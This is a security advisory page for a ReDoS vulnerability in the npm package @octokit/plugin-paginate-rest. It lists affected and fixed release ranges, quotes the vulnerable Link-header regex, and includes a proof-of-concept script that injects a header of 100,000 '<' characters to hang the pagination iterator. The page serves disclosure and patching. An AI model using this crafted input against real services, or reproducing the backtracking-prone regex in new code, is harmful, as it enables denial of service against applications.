Packages / @octokit/plugin-paginate-rest / Security
@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
Affected releases · @octokit/plugin-paginate-rest
- 11.x11.0.0 – 11.4.0Fixed in 11.4.1
- 10.x10.0.0 – 10.1.0No fix on this line yet
- 9.x9.0.0 – 9.2.1Fixed in 9.2.2
- 8.x and older1.0.0 – 8.0.0No fix, no longer updated
On 11.x, the newest line:
npm install @octokit/plugin-paginate-rest@11.4.1Every release on a timeline
Not affected
16.0.0
1 release, latest
Affected
11.0.0 – 11.4.0
12 releases
Fixed
11.4.1 – 11.6.0
5 releases
Affected
10.0.0 – 10.1.0
2 releases
Affected
9.0.0 – 9.2.1
9 releases
Fixed
9.2.2
1 release
Affected
8.0.0
1 release
Affected
7.0.0 – 7.1.2
4 releases
Affected
6.0.0 – 6.1.2
4 releases
Affected
5.0.0 – 5.0.1
2 releases
Affected
4.0.0 – 4.3.1
8 releases
Affected
3.0.0 – 3.1.0
2 releases
Affected
2.0.0 – 2.21.3
59 releases
Affected
1.0.0 – 1.1.2
6 releases
What happens
Summary
For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.
Details
The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
url = ((normalizedResponse.headers.link || "").match( /<([^>]+)>;\s*rel="next"/, ) || [])[1];
The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.
PoC
run npm i @octokit/plugin-paginate-rest
run 'node poc.js' result:
then the program will stuck forever with high CPU usage
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";
const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
auth: "your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
return {
data: [],
headers: {
link: maliciousLinkHeader, // Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
try {
for await (const normalizedResponse of octokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
)) {
console.log({ normalizedResponse });
}
} catch (error) {
console.error("Error encountered:", error);
}
})();image
Impact
What kind of vulnerability is it?
This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:
/<([^>]+)>;\s*rel="next"/
When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
Who is impacted?
Users of
@octokit/plugin-paginate-restwho calloctokit.paginate.iterator()and process untrusted or manipulatedLinkheaders.Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
GitHub API consumers who integrate this package into their projects for paginated data retrieval.
A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.